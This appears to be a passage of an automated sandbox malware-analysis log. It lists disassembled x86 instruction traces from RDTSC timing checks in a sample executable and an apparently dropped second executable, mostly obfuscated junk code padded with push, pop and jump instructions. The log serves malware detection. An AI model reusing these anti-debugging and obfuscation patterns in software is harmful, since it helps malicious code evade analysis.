Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A57 second address: 4C40A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F632D23A03Bh 0x00000015 add cx, 418Eh 0x0000001a jmp 00007F632D23A049h 0x0000001f popfd 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A9A second address: 4C40AC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 movsx edx, cx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40AC0 second address: 4C4056B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b mov di, E9AEh 0x0000000f popad 0x00000010 retn 0008h 0x00000013 cmp dword ptr [ebp-2Ch], 10h 0x00000017 mov eax, dword ptr [ebp-40h] 0x0000001a jnc 00007F632D23A035h 0x0000001c push eax 0x0000001d lea edx, dword ptr [ebp-00000590h] 0x00000023 push edx 0x00000024 call esi 0x00000026 push 00000008h 0x00000028 pushad 0x00000029 call 00007F632D23A03Eh 0x0000002e mov eax, 06D4ED41h 0x00000033 pop eax 0x00000034 popad 0x00000035 call 00007F632D23A039h 0x0000003a jmp 00007F632D23A048h 0x0000003f push eax 0x00000040 jmp 00007F632D23A03Bh 0x00000045 mov eax, dword ptr [esp+04h] 0x00000049 jmp 00007F632D23A049h 0x0000004e mov eax, dword ptr [eax] 0x00000050 pushad 0x00000051 mov bx, D632h 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40CC2 second address: 4C40D0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 movsx ebx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F632C74B8E1h 0x00000015 pop esi 0x00000016 pushfd 0x00000017 jmp 00007F632C74B8E1h 0x0000001c sbb eax, 12FDB3C6h 0x00000022 jmp 00007F632C74B8E1h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40D0F second address: 4C40D15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6B599 second address: E6B59D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6B59D second address: E6B5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 jnc 00007F632D23A03Ch 0x0000000e pushad 0x0000000f js 00007F632D23A036h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6B5BA second address: E6B5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6B708 second address: E6B724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632D23A042h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E348 second address: E6E34C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E34C second address: E6E365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A045h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E365 second address: E6E396 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F632C74B8E0h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F632C74B8E4h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E396 second address: E6E3A0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F632D23A03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E3A0 second address: E6E3AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E3AF second address: E6E3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E3B3 second address: E6E3B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E3B7 second address: E6E3D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F632D23A03Eh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E5A0 second address: E6E5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E5A4 second address: E6E5AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E5AA second address: E6E669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F632C74B8E4h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jc 00007F632C74B8DAh 0x0000001a push ecx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 jmp 00007F632C74B8E3h 0x00000027 pop eax 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F632C74B8D8h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 push 00000003h 0x00000044 mov dword ptr [ebp+122D2067h], eax 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push ecx 0x0000004f call 00007F632C74B8D8h 0x00000054 pop ecx 0x00000055 mov dword ptr [esp+04h], ecx 0x00000059 add dword ptr [esp+04h], 00000016h 0x00000061 inc ecx 0x00000062 push ecx 0x00000063 ret 0x00000064 pop ecx 0x00000065 ret 0x00000066 push 00000003h 0x00000068 mov esi, dword ptr [ebp+122D38A7h] 0x0000006e call 00007F632C74B8D9h 0x00000073 jl 00007F632C74B8DEh 0x00000079 push edi 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E669 second address: E6E678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 jl 00007F632D23A03Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E678 second address: E6E6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E2h 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F632C74B8DCh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007F632C74B8DFh 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E73E second address: E6E754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 jc 00007F632D23A044h 0x0000000d pushad 0x0000000e jne 00007F632D23A036h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E6E754 second address: E6E787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F632C74B8D8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push 2355E661h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F73C second address: E8F742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F742 second address: E8F748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F748 second address: E8F74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F74C second address: E8F750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E5E851 second address: E5E857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E5E857 second address: E5E870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E5E870 second address: E5E875 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E5E875 second address: E5E880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8D5AE second address: E8D5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8D5B9 second address: E8D5BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8D8E8 second address: E8D8EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8DBC8 second address: E8DBE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F632C74B8E3h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8DD1B second address: E8DD1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8DD1F second address: E8DD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8DD25 second address: E8DD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F632D23A03Bh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8DEA7 second address: E8DEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8DEAB second address: E8DECB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F632D23A036h 0x00000008 jmp 00007F632D23A046h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8E54A second address: E8E54F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8E7E1 second address: E8E7F3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F632D23A036h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8E7F3 second address: E8E7FE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8E7FE second address: E8E821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F632D23A046h 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F632D23A036h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8EDC3 second address: E8EDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8EDC8 second address: E8EDF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A043h 0x00000007 jns 00007F632D23A042h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8EDF5 second address: E8EDFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8EDFB second address: E8EE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8EF66 second address: E8EF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F632C74B8D6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8EF70 second address: E8EF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8EF74 second address: E8EF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c js 00007F632C74B8D6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F26F second address: E8F281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F632D23A042h 0x0000000a jo 00007F632D23A036h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F281 second address: E8F292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 jp 00007F632C74B8D6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F292 second address: E8F2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F632D23A036h 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007F632D23A049h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F5BF second address: E8F5DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E8F5DA second address: E8F5E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E93A85 second address: E93A8F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F632C74B8DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E960B6 second address: E96111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F632D23A03Bh 0x00000011 mov eax, dword ptr [eax] 0x00000013 jnp 00007F632D23A053h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push edi 0x0000001e pushad 0x0000001f jmp 00007F632D23A047h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9B71B second address: E9B71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9B71F second address: E9B731 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F632D23A036h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9AEB4 second address: E9AEDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F632C74B8D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F632C74B8E8h 0x00000012 jns 00007F632C74B8D6h 0x00000018 jmp 00007F632C74B8DCh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9B005 second address: E9B03B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Dh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007F632D23A036h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F632D23A03Ch 0x00000019 popad 0x0000001a pop ebx 0x0000001b push edi 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f jc 00007F632D23A036h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9C859 second address: E9C85D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9C92F second address: E9C943 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9CB60 second address: E9CB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E2h 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9CD2A second address: E9CD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jl 00007F632D23A036h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9CD41 second address: E9CD53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9D459 second address: E9D461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9D461 second address: E9D467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9D544 second address: E9D54A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9D650 second address: E9D659 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9D659 second address: E9D696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632D23A048h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F632D23A045h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9D6F7 second address: E9D6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9D6FB second address: E9D713 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F632D23A03Fh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9DBDD second address: E9DBE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E9E636 second address: E9E658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F632D23A04Ah 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA020C second address: EA0210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA0210 second address: EA021D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA021D second address: EA0268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+1246D137h], eax 0x0000000d push 00000000h 0x0000000f add esi, 37091A92h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F632C74B8D8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 push eax 0x00000032 push edi 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F632C74B8DBh 0x0000003a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA0CC7 second address: EA0CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
